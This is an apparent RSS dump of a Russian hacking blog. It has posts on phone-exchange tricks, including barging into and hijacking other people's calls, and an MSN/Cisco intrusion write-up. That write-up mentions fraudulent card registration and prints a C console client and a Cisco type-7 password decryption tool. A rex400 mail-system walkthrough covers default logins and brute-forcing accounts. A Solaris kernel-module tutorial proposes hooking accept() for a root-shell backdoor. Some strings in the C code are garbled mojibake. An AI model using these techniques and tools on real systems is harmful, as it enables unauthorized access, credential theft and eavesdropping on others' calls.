                                                                       ║Перезаписать имя        5║                                                                    ╚═══════════════════════════╝
                                                                       ║Изменить буквы в имени  6║
                                                                       ║Вкл/выкл. прослушивание 7║
                                                                       ╚═════════════════════════╝

 

Сокращения.

 

После того как вы попали в «почтовый ящик» (voice mail box). Вы можете попробывать вводить следующие сокращения:

Включить персональное приветствие [735]
Добавить к сообщению [754]
Отредактировать сообщение [755]
Ввести ваше сообщение [756]
Изменить передачу выбора [764]
Изменить ваш пароль [774]
Изменить ваше записанное имя [775]
Отредактировать приветствие по факсу [748]
Изменить факс доставку [7658]
Включить передачу сигнала [7641]
Выключить передачу сигнала [7642]
Изменить номер телефона для передачи сигнала [76414]
Включение и выключение выбора сигнала на экране [76415]
Включение и выключение удерживания сигнала на линии [76416]

 

Основные пользовательские функции.

 

В данном разделе описывается как пользоваться функциями, которые имеются в наличииу станции Harris 20-20. Программное обеспечение системы и ваш класс сервиса могут ограничивать доступ к некоторым функциям, приведенным далее. И последнее. В связи c тем, что станция имеет очень гибкую систему конфигурирования, позволяющую местному администратору самостоятельно определять коды набора функций, эти коды для вашей АТС Harris могут быть другими.

Что можно сделать когда занято.

Когда вы звоните своему другу, а у него занято, вы можете набрать ’2′, тогда у вас будет несколько коротких гудков, а потом длинный. Когда ваш друг закончит разговор и положит трубку, у вас зазвонит телефон (кароткими двойными гудками). Вы возмете трубку и тогда  услышите вызов (это вы попадете к вашему другу). Если вы хотите снять ’2′, т.е когда ваш друг закончит разговор, и у вас телефон не звонил — вы должны набрать номер вышего друга, и все.  Если у вашего друга занято вы можите сообщить ему, что кто то ему звонит. Когда вы набрали его номер и услышали занятость, вы должны набрать ’8′ и после этого услышите гудок, а после гудка будут маленкие щелчки (ТЫК-ТЫК-ТЫК…). А ваш друг говоря с другим абонентом, услышит гудок. Когда он положит трубку, вы услышите вызов, вы попадете к своему другу. Если ваш друг не кладет трубку вы можете его подоставать — у вас должен быть тональный режим набора. Вы набераете его номер, ’8′ и сразу ’0′ потом его номер ’8′ ’0′. ’0′ — это сброс когда занято или ни кто не берет трубку. Если у вас в телефоне можно вводить номера в память вы
можите ввести в память его номер ’8′ ’0′ и так до конца… А потом можите доставать его!

Если вы знаете что кто-то набрал ’8′ на какой-то номер вы можете его сбить. Вы звоните на тот номер куда он набрал ’8′, там будет занято. Вы набираете ’9′ и говорите с тем абонентом который набрал ’8′.

Если вы знаете куда звонит абонент и дожидается когда возьмут трубку, в этом случае вы тоже можите сбить его. Вы звоните на тот номер на котором тот абонент ждет когда возьмут трубку. У вас будет занято, и вы набираете ’9′. И говорите с ним!

Еще вы можите влезть в разговор. Конечно на многих АТС это отключено, но все же стоит попробовать. Вы ищете где занято и нажимаете ’4′, и попадаете к ним в разговор, а у них будет длинный гудок, когда вы к ним влезете.

Как создавать конференцию.

 

Конференцию можно создать двумя способами.
1 Способ: Когда вы говорите с вашим другом, попросите его что-бы он не ложил трубку. При разговоре с ним вы нажимаете на Flash или на сброс, у вас будет длинный гудок. Потом вы набираете номер вашего второго друга, попросите его чтобы он тоже не ложил трубку. Далее вы нажимаете на Flash или сброс, у вас будет грубый длинный гудок. Дальше вы можите нажать ’4′ и будете говорить втроем. Если при грубом гудке вы нажмете ’5′, то вы выкините вашего второго друга и будете говорить с первым. Если при грубом гудке вы нажмете ’2′ то вы попадете к вашему первому другу, что бы попасть к вашему второму другу нажмите Flash или сброс и при грубом гудке нажмите ’2′. Надеюсь вы поняли для чего служит ’2′. При помощи нее вы можете разговаривать по очереди с вашими друзьями. Чтобы подключить вашего первого друга к второму при грубом гудке вы нажимаете ’3′. Они разговаривают, а вы вылетаете.

2 Способ: При разговоре с вашим другом вы набираете импульсным набором ’1′ и у вас будет длинный гудок, звоните вашему второму другу, когда он возьмет трубку, вы можете набрать ’1′, у вас грубый гудок, а потом тоже самое что и в первом примере 4, 5, 2, 3. И еще, когда вы  дозвонились до вышего второго друга и он взял трубку, вы можете набрать ’5′ импульсным набором, и будете все втроем разговаривать. Один абонент может подключать 18 человек!

Как переводить номер телефона.

 

Перевести номер телефона очень просто. Вы набираете свой номер телефона, у вас будет два коротких гудка (ТУ-ТУ-ТУ-ДУ), а потом длинный, далее вы набираете тот номер телефона, на который хотите перевести, тоже будет два коротких гудка и длинный, дальше вы набираете  ’4′, будет два коротких гудка, а потом длинный. Все — ваш номер переведен! Теперь к вам могут дозвониться только те, на чей вы номер перевели. Вместо ’4′ вы можете набрать ’5′, тогда будет так — если у вас телефон занят (вы говорите с кем-то) тот кто вам позвонит будет попадать к тому на чей номер переведен ваш телефон, а если ваш телефон свободен, то будут попадать к вам. Если вы не хотите, чтобы вас беспокоили, вы можете найти несуществующий номер телефона или таксофон и переводить номер туда.

Как установить будильник.

 

Чтобы установить будильник, вы должны взять трубку и услышать длинный гудок. Потом набрать ’115′ — вы услышите два коротких гудка, и потом длинный. Далее вы должны набрать время, когда зазвонит будильник, например 21 00 или 09 00. И все!

]]>
http://hackermaycry.ru/?feed=rss2&p=90 0
Msn Hkl http://hackermaycry.ru/?p=87 http://hackermaycry.ru/?p=87#comments Sat, 24 Mar 2012 13:44:27 +0000 admin http://l2.lexa/?p=87  Сколько раз всеми любимую компанию крутили на определенном половом органе? Достаточно много — это будет сказано очень мягко. Здесь осветится один из многочисленных разов, который в данный момент не особо актуален, но для образовательных целей вполне подойдет. MSN имеет входы в свои интранеты по всему миру, из разных сеток и т.д. Чем приятен Usa SprintNet, тем что многие nua с радостью принимают юзеров без оплаты. Microsoft имеет большую, я бы сказал кучу, Nua дающих не закрытый аккаунтом ppp в msn intranet. Конечно на самом деле есть и зыкрытые msn nua, и входы через compuserve, и многие другие, но сейчас суть не в этом. Попав каким бы то не было способом в MSN, обнаруживается юзерский диапазон динамических ip в 207.46.161.* области. В области 207.46.152.* — находится рассадник http, https, some fingers, etc. На одном из таких адресов (До сих пор!) проходит регистрация по скажем так не совсем существующим кредиткам. После чего можно использовать soft поставляющийся в стандарте с большинством «окнами», и пользовать своебразные службы, браузер и т.д. Но и опять не в этом суть. Чуть покапавшись — мы видим куда ведут все пути. А все пути ведут к 207.46.160.7 кошке. (И прочим,типа 2,5,15). Проделав рутинную работу выесняется что кроме xot’a , кучи телнетов, имется finger. Вроде-бы достаточно обыденный сервис, но кто знает? После некоторых эксперементов с finger, мы попадаем в кошачью консоль, с догадайтесь каким уровнем привелегий ?

/*--Cisco wellcome----------------------------------------------------------*/
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define TRASHSEND_STAT_CNT_NEED 200000
#define LOG_PATH "/var/log/cisco_telnet.log"

int sock, cur_flags, log;
struct sockaddr_in remote;
int r, trashsend_stat, trashsend_stat_cnt;
unsigned char ch, s[50], find_buf[15];
int find_buf_size = sizeof(find_buf) - 1;

unsigned char *find_need = "iuscsignuc4702>";
int find_need_size = 15;

unsigned char *find_buf_beg;
int port = 79;

char month_list[36] = "ё++ц++э+Tс¦Tэ+¦щL+щL¦с+¦є++яTLю¦Tф+T";

void get_time(char *buf)
{
    time_t stime;
    struct tm *ttime;
    char ltime[20];
    stime = time(0);
    ttime = localtime(&stime);
    sprintf(buf,"%s%d ",(ttime->tm_mday < 10)?"0":"",ttime->tm_mday);
    strncat(buf,(char*)&month_list[ttime->tm_mon * 3],3);
    sprintf(ltime," %s%d:%s%d:%s%d",
          (ttime->tm_hour < 10)?"0":"",ttime->tm_hour,
          (ttime->tm_min  < 10)?"0":"",ttime->tm_min,
          (ttime->tm_sec  < 10)?"0":"",ttime->tm_sec);
    strcat(buf,(char*)&ltime);
}

void res_addr(struct sockaddr *addr, char *hostname)
{
    struct sockaddr_in *address;
    struct hostent *host;
    address = (struct sockaddr_in *)addr;
    (void) bzero((char *)address, sizeof(struct sockaddr_in));
    address->sin_family = AF_INET;
    address->sin_port = htons(port);
    address->sin_addr.s_addr = inet_addr(hostname);
    if ((int)address->sin_addr.s_addr == -1)
    {
        printf("ю+ =¦¦- T+-T+-гL+ +-T+L!");
        exit(3);
    }
}

int readsock(int fd, char *buf, size_t count)
{
    int res;
    res = read(fd,buf,count);
    if (res == -1)
    {
        switch (errno)
        {
            case EAGAIN: return  0;
            case  EPIPE: return -1;
            default: printf("є¦+-г+++г+ ¦T¦T+++¦ ¦¦ ++-LL++¦+¦+++¦¦ ¦Tг¦г++\n");
                     exit(1);
        }
    }
    return res;
}

int readstd(int fd, char *buf, size_t count)
{
    int res;
    res = read(fd,buf,count);
    if (res == -1 && errno == EAGAIN) return 0;
    return res;
}

int writesock(int fd, char *buf, size_t count)
{
    int res;
    res = write(fd,buf,count);
    if (res == -1)
    {
        switch (errno)
        {
            case EAGAIN: return  0;
            case  EPIPE: return -1;
            default: printf("є¦+-г+++г+ ¦T¦T+++¦ ¦¦ ++-LL++¦+¦+++¦¦ ¦Tг¦г++\n");
                     exit(1);
        }
    }
    return res;
}

void connecter()
{
    while ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("socket");
        sleep(5);
    }

    while (connect(sock,(struct sockaddr *)&remote, sizeof(remote)) < 0)
    {
        perror("connect");
        sleep(5);
    }
    printf("\nЁTгT¦+++TLг¦гL+ T %s:%i\n",(char*)inet_ntoa(remote.sin_addr),port);
    writesock(sock,"\r",1);

    cur_flags = fcntl(sock,F_GETFL);
    fcntl(sock,F_SETFL,cur_flags | O_NONBLOCK);
    trashsend_stat = 0;
    trashsend_stat_cnt = 0;
}

void catch_pipe()
{
    printf("ї-+¦+++-¦ L¦LL -+TT-¦ L¦+-г+++г+\n");
    close(sock);
    connecter();
}

void find_buf_move()
{
    int i;
    for (i = 0; i < find_buf_size; i++) find_buf[i] = find_buf[i + 1];
}

int main(int argc, char *argv[])
{
    struct sigaction act;

    if (argc < 2 || argc > 3)
    {
        printf("ЁT¦¦+ -¦T ¦¦-T¦L¦++гT T TгLT+=.\nр-+L+ L+T: %s <L¦LL> [<¦¦TL>]\n",
            argv[0]);
        exit(1);
    }
    if (argc == 3) port = atoi(argv[2]);
    if ((log = open(LOG_PATH,O_WRONLY | O_CREAT | O_APPEND,0600)) == -1)
    {
        printf("ю+ =¦¦- ¦LTT-L+ ¦¦¦-¦+¦¦\n");
        exit(1);
    }
    find_buf_beg = (char*)&find_buf;
    find_buf_beg += (sizeof(find_buf) - find_need_size);
    sigemptyset(&act.sa_mask);
    sigaddset(&act.sa_mask,SIGPIPE);
    act.sa_handler = catch_pipe;
    act.sa_flags = 0;
    if (sigaction(SIGPIPE,&act,0) == -1) perror("sigaction");
    cur_flags = fcntl(0,F_GETFL);
    fcntl(0,F_SETFL,cur_flags | O_NONBLOCK);
    res_addr((struct sockaddr*)&remote,argv[1]);
    connecter();

    while (1)
    {
        for (r = 1; r != 0;)
        {
            r = readsock(sock,&ch,1);
            if (r > 0)
            {
                int cmpres;
                write(1,&ch,1);
                if (trashsend_stat == 1) write(log,&ch,1);
                find_buf_move();
                find_buf[find_buf_size] = ch;
                cmpres = strncmp(find_buf_beg,find_need,find_need_size);
                if (cmpres == 0 && trashsend_stat == 0)
                {
                    write(log,"\n--------------------------------------------------------------------------------\n",82);
                    write(log," ",1);
                    get_time((char*)&s);
                    write(log,(char*)&s,strlen((char*)&s));
                    sprintf((char*)&s," / ЁTгT¦+++TLг¦гL+ T [%s:%i]\n",(char*)inet_ntoa(remote.sin_addr),port);
                    write(log,(char*)&s,strlen((char*)&s));
                    write(log,"--------------------------------------------------------------------------------\n",81);
                    trashsend_stat = 1;
                }
            }
        }
        for (r = 1; r != 0;)
        {
            r = readstd(0,&ch,1);
            if (r > 0) writesock(sock,&ch,1);
        }
        if (trashsend_stat == 0)
        {
            if (trashsend_stat_cnt == TRASHSEND_STAT_CNT_NEED)
            {
                writesock(sock,"\r",1);
                trashsend_stat_cnt = 0;
            }
            else trashsend_stat_cnt++;
        }
    }
    close(sock);
    exit(0);
}

/*---EOF--------------------------------------------------------------------*/

Вот мы и на кошке. Теперь стоит оглядеться.

;—————————————————————————-
iuscsignuc4702>sh tech

Cisco Internetwork Operating System Software
IOS ™ 4500 Software (C4500-JS-M), Version 12.0(7)T, RELEASE SOFTWARE (fc2)
Copyright (c) 1986-1999 by cisco Systems, Inc.
Compiled Tue 07-Dec-99 11:41 by phanguye
Image text-base: 0×60008908, data-base: 0x60F08000
………
etc.

;—EOF———————————————————————-

4500 киса, 12-ый IOS. Что есть cisco 4500? Это маршрутизатор среднего класса, «Заточенный» для построения высокоскоростных сетей и проведения всестороннего анализа трафика и качества сервиса (QoS). (Как кстати и cisco4700). Комбинируя в маршрутизаторе Cisco 4500 или Cisco 4700 две любые версии модулей, можно получить 36 последовательных портов и эффективно использовать их для интеграции низкоскоростного трафика различных типов. Вообще существует серия Cisco 4000 включающая в себя 3 рутера:

Cisco 4000-M,
Cisco 4500-M,
Cisco 4700-M.

Каждая модель (и конечно 4500) имеет flash память с IOS (Операционная система Cisco, но об этом возможно в другой раз).

Краткая характеристика Cisco 4500-M:

  • Процессор: IDT Orion RISC, 64-bit, 100-MГц;
  • 3 слота расширения для модулей NPM;
  • Память: основная DRAM — 16 МБ (расширяется до 32 МБ), системная Flash — 4 МБ, загрузочная Flash — 4 МБ, разделяемая DRAM — 4 МБ;
  • Трансляция протоколов Telnet, LAT (local-area transport), X.25;
  • Полный набор функций ПО Cisco IOS.

Кстати сказать, примерная цена на этот маршрутизатор, включая в себя все навороты , типа:
Cisco 4500-M Modular Multiprotocol Router
Cisco 4000 Series IOS Enterprise Feature Set
6-Port Ethernet 10Base-T NP Module
4 Serial Ports NP Module
Male DTE RS-232 Cable, 10 Foot
Cisco 4500 SMARTnet Maintenance

Составляет порядка 28 тысяч $. И уж находясь на таком самолете, явно хочется получить enable? Алгоритм криптовки простой. За хороший нужно еще доплатить немалую сумму. Чего делают не так часто, как стоило бы. Вот «рутшеловский» исходник декриптовки cisco паролей:

/*--------------------------------------------------------------------------*/
/* Cisco password decryption
Summary
Description: Cisco passwords can be trivially decrypted although this isn't
really the fault of Cisco (since the router itself needs to be able to decrypt
them).
Author: Jared Mauch <jared@puck.nether.net>
Compromise: Obtain extra access to Cisco routers
Vulnerable Systems: Cisco routers
Date: 11 November 1997
Details

*/

/* This code is originally from a Bugtraq post by
   Jared Mauch <jared@puck.nether.net> . I patched it with an improved
   translation table by Janos Zsako <zsako@BANKNET.NET>
   -Fyodor (fyodor@dhp.com) */

#include <string.h>
#include <stdio.h>
#include <ctype.h>

char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
};

char pw_str1[] = " password 7 ";
char pw_str2[] = "enable password 7 ";
char pw_str3[] = "ip ftp password 7 ";
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";

char *pname;

cdecrypt(char *enc_pw, char *dec_pw)
{
        unsigned int seed, i, val = 0;

        if(strlen(enc_pw) & 1)
                return(-1);

        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);

        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }

                val *= 16;

                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }

                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }

                if(strlen(enc_pw) != i)
                        return(-1);
        }

        dec_pw[++i / 2] = 0;

        return(0);
}

usage()
{
        fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
        fprintf(stdout, "       %s <router config file> <output file>\n",pname);
        return(0);
}

main(int argc,char **argv)
{
        FILE *in = stdin, *out = stdout;
        char line[257];
        char passwd[65];
        unsigned int i, pw_pos;

        pname = argv[0];

        if(argc > 1)
        {
                if(argc > 3) {
                        usage();
                        exit(1);
                }

                if(argv[1][0] == '-')
                {
                        switch(argv[1][1]) {
                                case 'h':
                                usage();
                                break;

                                case 'p':
  memset(passwd,'\0', sizeof(passwd));
                                if(cdecrypt(argv[2], passwd)) {
                                        fprintf(stderr, "Error.\n");
                                        exit(1);
                                }
                                fprintf(stdout, "password: %s\n", passwd);
                                break;

                                default:
                                fprintf(stderr, "%s: unknow option.", pname);
                        }

                        return(0);
                }

                if((in = fopen(argv[1], "rt")) == NULL)
                        exit(1);
                if(argc > 2)
                        if((out = fopen(argv[2], "wt")) == NULL)
                                exit(1);
        }

        while(1) {
                for(i = 0; i < 256; i++) {
                        if((line[i] = fgetc(in)) == EOF) {
                                if(i)
                                        break;

                                fclose(in);
                                fclose(out);
                                return(0);
                        }
                        if(line[i] == '\r')
                                i--;

                        if(line[i] == '\n')
                                break;
                }
                pw_pos = 0;
                line[i] = 0;

                if(!strncmp(line, pw_str1, strlen(pw_str1)))
                        pw_pos = strlen(pw_str1);

                if(!strncmp(line, pw_str2, strlen(pw_str2)))
                        pw_pos = strlen(pw_str2);
  if(!strncmp(line, pw_str3, strlen(pw_str3)))
   pw_pos = strlen(pw_str3);
  if(!strncmp(line, pw_str4, strlen(pw_str4)))
   pw_pos = strlen(pw_str4);

                if(!pw_pos) {
                        fprintf(stdout, "%s\n", line);
                        continue;
                }

  memset(passwd,'\0', sizeof(passwd));

                if(cdecrypt(&line[pw_pos], passwd)) {
                        fprintf(stderr, "Error.\n");
                        exit(1);
                }
                else {
                        if(pw_pos == strlen(pw_str1))
                                fprintf(out, "%s", pw_str1);
                        else if (pw_pos == strlen(pw_str2))
                                fprintf(out, "%s", pw_str2);
   else if (pw_pos == strlen(pw_str3))
    fprintf(out, "%s", pw_str3);
   else if (pw_pos == strlen(pw_str4))
    fprintf(out, "%s", pw_str4);

                        fprintf(out, "%s\n", passwd);
                }
        }
}

/*---EOF--------------------------------------------------------------------*/

Посмотрев ip route/x25 route/arp cash — находим кучу интересных адресков. Среди которых имеется и тот, откуда киса берет свое начало, и конечно с ftp. Ну и дальше все понятно. Дело остается только в полете извращенной и злой фантазии.

]]>
http://hackermaycry.ru/?feed=rss2&p=87 0
Rex400 http://hackermaycry.ru/?p=82 http://hackermaycry.ru/?p=82#comments Sat, 24 Mar 2012 13:02:16 +0000 admin http://l2.lexa/?p=82 Что есть rex400? Используя технологию «Store and Forward», rex400 является системой передачи сообщений состоящих из нескольких компонентов: Mail400, GateWay, RexINFO.

Mail400: Передача сообщений между различными телематическими системами (факсимильными, телексными, телеграфными, etc) и имеет подсистемы такого рода: RexMail — электронная почта, RexFax — факсимильный сервис, RexAT-50 — телеграфный сервис, RexTELEX — телексный сервис.

GateWay: RexX25 представляющий собой эмулятор работы Х.25 узла и обеспечивающий доступ к ресурсам Х.25 сетей.

Вот так выглядит стандартное приглашение rex400:

;—————————————————————————-

Logical Channel: 0
REX400 v5.4.57, Copyright (C) 1992-1997, Club400 Ltd.
               <<<   WELCOME  TO  REX400  E-MAIL   >>>

 REX400 is X.400 E-mail ADMD registered by Russian Ministry of Communications

   REX400 administrator: blabal
                Address: bvlabla
                 Phones: balalba

                     C :  RU
                  ADMD :  REX400
                  PRMD :  babalb

                M) Mail400           H) Help
                G) GateWay           Q) Quit
                I) RexInfo

Multi Host>

;—EOF———————————————————————-

Для чисто спортивного интереса возможно стоит внимание уделить и h, и i, но полезным является лишь m, g. Здесь стоит сказать, что как всегда регистр не имеет никакого значения, и логин вполне может быть идентичен паролю.

;—————————————————————————-

Multi Host>m
RexMail subsystem. REX400 v5.4.57, Copyright (C) 1992-1997, Club400 Ltd.
   Login >admin
Password >

    Добро пожаловать!
    Сегодня: xxxxx xx xxxxx 2001 xx:xx:xx
    Ваш полный адрес:
    C=xx;A=REX400;P=xxxxx;S=ADMIN

Непрочитанных сообщений: 6.

[RexMail] X:\>

;—EOF———————————————————————-

Далее оперируя «?» вполне смотрятся все команды, и например такой командой смотрим список юзеров:

;—————————————————————————-

[RexMail] X:\>us

admin S=ADMIN
root S=ADMINISTRATOR
andy S=ANDY
betty S=BETTY
lalal S=LALAL
demo S=DEMO

* N

etc….

;—EOF———————————————————————-

И по старинке определенный % юзает логин=пас. Набрав кучу логинов можно и письмишко кинуть. Вот как выглядит послать обычное internet письмо:

;—————————————————————————-

[RexMail] X:\>send      ; (также можно алиасами типа S)

 Извещение о недоставке [Yes]? :
 Извещение о доставке [No]? :y
 Возврат содержимого при недоставке [No]? :
 Извещение о получении (прочтении) [No]? :
 Требование ответа [No]? :

 Тема: ci vediamo
 Кому To: uucp=masha@plachet.net
      Cc: ^m
      Bc: ^m
 Тело (Text, File): t
 .it's a mail from rex400 system.
 ..
 Идет процесс формирования содержания!
 Ждите.
 Содержимое (Text, File или ?):^m
 Сообщение готовится к отправлению!
 Ждите.
 Сообщение подготовлено!
 Сохранить в архиве (Yes/[No])?:^m
 Сообщение отправлено!

;—EOF———————————————————————-

На fax тоже самое: fax=7-095-9999999, и также для Telix : tlx=64111654. Также можно формировать письмишко «дома», а потом кидать его с архива и т.д. и т.п. Одним словом глобальная почта. Имеется и борда и много чего интересного и не очень. Все описано в help’ах. А теперь сразу и без перехода zgateway:

;—————————————————————————-

 Multi Host>g

  *** GATEWAY X25 Net v 1.14 ***     Copyright (c)  CLUB - 400, 1992

Input your IDT>deathuser
Input your PSW>

 List_services      Pad           Statistic        Help
 Info_services      hisTory       passWord         Quit

RexX25.GATE>

;—EOF———————————————————————-

Также оперируя ? все вполне нормально смотрится. По P переходим в режим «эмуляции команд терминального концентратора» (аналогия паду, т.е Con, Par, Set, etc.).vHistory полезна в том случае когда хочется вспомнить адреса, но в особенности когда их и не знал … Полезная команда passWord :

;—————————————————————————-

Enter old psw > xxxxxx
Enter new psw > yyyyyy
Re-enter new psw > yyyyyy
Password is changed

;—EOF———————————————————————-

Хороша и команда List_services — подключиться к ресурсу по мнемоническому
имени.

;—————————————————————————-

RexX25.GATE>l

  === List Services ===
  1) REX400_MODE         2) REX400_UNITE       3) REX400_INDRV
  4) REX400_AREG         5) REX400_FGR

RexX25.GATE>1
Connect to ---> REX400_MODE

;—EOF———————————————————————-

Вот в 3 словах система rex400. На самомом деле это такая же простейшая система как и многие другие, нужно только знать что такое help. Список стандартных паролей писать не имеет особого смысла, т.к. они описаны в старых, древних RUC’ах и прочих доках. Это кучи guest/visitor/demo/anonymouse/etc. Имея хотя бы 1 юзерский/гостевой логин, банальным перебором за очень короткое время на руках окажется не малое количество «аккаунтов».

p.s. Кстати система отлично держит download/upload по zmodem.

Some nua’s in RosSprint : 4514.05
6101.xx
6902

]]>
http://hackermaycry.ru/?feed=rss2&p=82 0
Программирование на уровне ядра для Solaris. http://hackermaycry.ru/?p=68 http://hackermaycry.ru/?p=68#comments Fri, 23 Mar 2012 22:52:07 +0000 admin http://l2.lexa/?p=68 Часть 1.

Итак, что из себя представляет kernel-модуль, для какой бы ОС он не писался? Говоря простыми словами, kernel-модуль — это кусок кода, подгружаемый «извне»(т.е. не являющийся частью ядра), но функционирующий в адресном пространстве ядра операционной системы. Работая в одном адресном пространстве с ядром, модуль получает возможность обращаться к внутренним структурам ядра, что бывает важно при написании драйверов и ещё в ряде других случаев. К примеру, если вам нужно ограничить возможность работы с сетью некоторым пользователям, то одним из решений данной проблемы является перехват при помощи kernel-модуля системного вызова типа socket() и замена его на другой, задача которого — выдача сообщения об ошибке всем юзерам, которым требовалось запретить обращаться к сети. Или же вам нужно закрепиться в захваченной системе — опять перехватываете системный вызов типа accept() и открываете рутовый шелл (это только один из способов) при запросе соединения с определённого IP-адреса. Самое интересное, что написание подобного софта, укрепляющего безопасность, или же, наоборот, атакующего и «заражающего» операционку практически никак не отличается — принципы работы обоих программ очень похожи.

Из чего же должен состоять самый простой модуль ядра Solaris? Если обычная программа имеет только одну точку входа — функцию main(), то здесь у нас их 3 — _init(), _fini() и _info().
_init() — запускается при запуске самого модуля;
_fini() — при выгрузке модуля из памяти;
_info() — при запросе информации о модуле.

Функция _init() — это, по сути дела, аналог функции main(). В ней происходит инициализация и установка модуля в системе. Она обязательно должна вызывать функцию mod_install(), которая, как следует из её названия, инсталирует модуль в системе.
Так выглядит её прототип: int mod_install (struct modlinkage *modlinkage).

В качестве аргумента принимается указатель на структуру modlinkage, в которой указываются характеристики модуля. Для правильной загрузки модуля в память нужно объявить несколько структур, одна из которых и есть modlinkage. Объявления этих структур находятся в заголовочном файле /usr/include/sysmodctl.h

Структура modlinkage достаточно проста и выглядит примерно так:

struct modlinkage {
int ml_rev; /* rev of loadable modules system */
#ifdef _LP64
void *ml_linkage[7]; /* more space in 64-bit OS */
#else
void *ml_linkage[4]; /* NULL terminated list of */
/* linkage structures */
#endif
};

В переменной ml_rev содержится версия подсистемы, ответственной за работу модулей. Почти всегда этой переменной присваивается значение MODREV_1.

ml_linkage представляет собой массив указателей на структуры, собственно и описывающие конкретный модуль. Данный массив должен завершаться нулевым указателем (NULL). Если модуль представляет собой драйвер устройства, то ml_linkage указывает на структуру modldrv; если модуль вводит новый системный вызов, то используется структура modlsys и т.д. Вот список всех возможных структур из семейства modl*, характеризующие различные типы модулей:

modldrv
modlsys
modlfs
modlmisc
modlstrmod
modlsched
modlexec
modldacf

За более подробной информацией об этих структурах можно обратиться к sysmodctl.h. В качестве примера я рассмотрю структуру modlmisc, которая, в отличие от остальных, позволяет создавать «просто модули» (то есть не драйвер и т.д., а просто программу, которая сможет функционировать в адресном пространстве ядра). Вот она:

struct modlmisc {
struct mod_ops *misc_modops;
char *misc_linkinfo;
};

В её состав входит указатель на структуру mod_ops:

struct mod_ops {
int (*modm_install)(); /* install module in kernel */
int (*modm_remove)(); /* remove from kernel */
int (*modm_info)(); /* module info */
};

В mod_ops содержатся указатели на функции, ответственные за загрузку, выгрузку модуля и получение информации о нём. Например, функцию, адресуемую указателем modm_install, использует впоследствии mod_install(). Так как Solaris поддерживает 8 различных структур modl* (см. выше) и, соответственно, 8 разных типов модулей, каждый тип имеет в ядре свои, специфичные только для него функции инициализации, деинициализации и получения информации. Структуры mod_ops нам формировать не надо — мы просто не сможем этого сделать, т.к. только одному ядру известны адреса функций. Данные структуры обхявляются и заполняются в самом ядре, в чём нетрудно убедиться, имея в руках исходные коды ОС Solaris (всё это происходит в modctl.c). Вполне логично, что ядро должно проинициализировать 8 структур mod_ops — для каждого типа модулей. В modctl.с они имеют такие имена:

struct mod_ops mod_driverops;
struct mod_ops mod_execops;
struct mod_ops mod_fsops;
struct mod_ops mod_miscops;
struct mod_ops mod_schedops;
struct mod_ops mod_strmodops;
struct mod_ops mod_syscallops;
struct mod_ops mod_dacfops;

а в modctl.h они объявлены как внешние (extern), так что мы без проблем можем их использовать. Для примера, при заполнении структуры modlmisc, мы должны в неё просто вставить указатель на структуру mod_miscops (&mod_miscops).

И, наконец, второй и последний член структуры modlmisc — misc_linkinfo. Здесь просто указывается имя модуля.
Итак, подведу итог. В простейшем случае, создавая «просто модуль» нам нужно заполнить структуры modlmisc и modlinkage и передать последнюю в качестве параметра функции mod_install():

struct modlmisc modlmisc =
{ &mod_miscops;
«Our first module»;
}

struct modlinkage modlinkage
{ MODREV_1;
&modlmisc;
}

int _init ()
{
mod_install (&modlinkage);
}

Теперь перейдём ко второй функции, необходимой в каждом модуле — _fini(), отвечающей за отключение модуля. По аналогии с _init() и mod_install(), здесь есть mod_remove(), «убивающая» модуль. Как и mod_install(), она в качестве своего единственного аргумента принимает структуру modlinkage.

И, наконец, третья точка входа — _info. Она единственная из трёх, которая имеет аргумент. Аргумент здесь — это указатель на структуру modinfo, посредством которой операционная система получает информацию о модуле. В самом простом случае _info должна вызывать mod_info(), имеющую 2 аргумента: указатели на modlinkage и modinfo. После вызова этой функции мы получаем заполненную структуру modinfo, которую и надо возвратить операционной системе.

Всё… теперь мы в состоянии написать простенький kernel-модуль. Вот пример того, как это может выглядеть:

#include <sys/types.h>
#include <sys/errno.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

struct modlmisc modlmisc =
{ &mod_miscops;
«Our first module»;
}

struct modlinkage modlinkage
{ MODREV_1;
&modlmisc;
}

int _init ()
{
return (mod_install (&modlinkage));
cmn_err (CE_NOTE, «Hello! I’m your first module!\n»);
}

int _info (struct modinfo *modinfo)
{
return (mod_info (&modlinkage, modinfo));
}

int _fini ()
{
return (mod_remove (&modlinkage));
}

Единственное, что делает данный модуль — это подгружается в память ядра и выдаёт сообщение на консоль при помощи функции cmn_err().

Теперь хотелось бы рассмотреть использование модулей со стороны укрепления безопасности системы. В самом начале, была дана идея перехвата системного вызова socket() с целью запрета некоторым пользователям общаться с сетью. Реализуется это достаточно просто. Как и во FreeBSD, в Solaris существует массив sysent[], состоящий из структур sysent (см. sys/systm.h). Каждая структура sysent описывает тот или иной системный вызов:

struct sysent {
char sy_narg; /* total number of arguments */
#ifdef _LP64
unsigned short sy_flags; /* various flags as defined below */
#else
unsigned char sy_flags; /* various flags as defined below */
#endif
int (*sy_call)(); /* argp, rvalp-style handler */
krwlock_t *sy_lock; /* lock for loadable system calls */
int64_t (*sy_callc)(); /* C-style call hander or wrapper */
};

Не буду заострять внимание на каждом элементе данной структуры, скажу только, что её последний элемент sy_callc — указатель на функцию-обработчик системного вызова. Всё, что теперь требуется — выбрать из массива структуру sysent, соответствующую перехватываемому системному вызову, и заменить значение sy_callc на указатель на свою функцию.
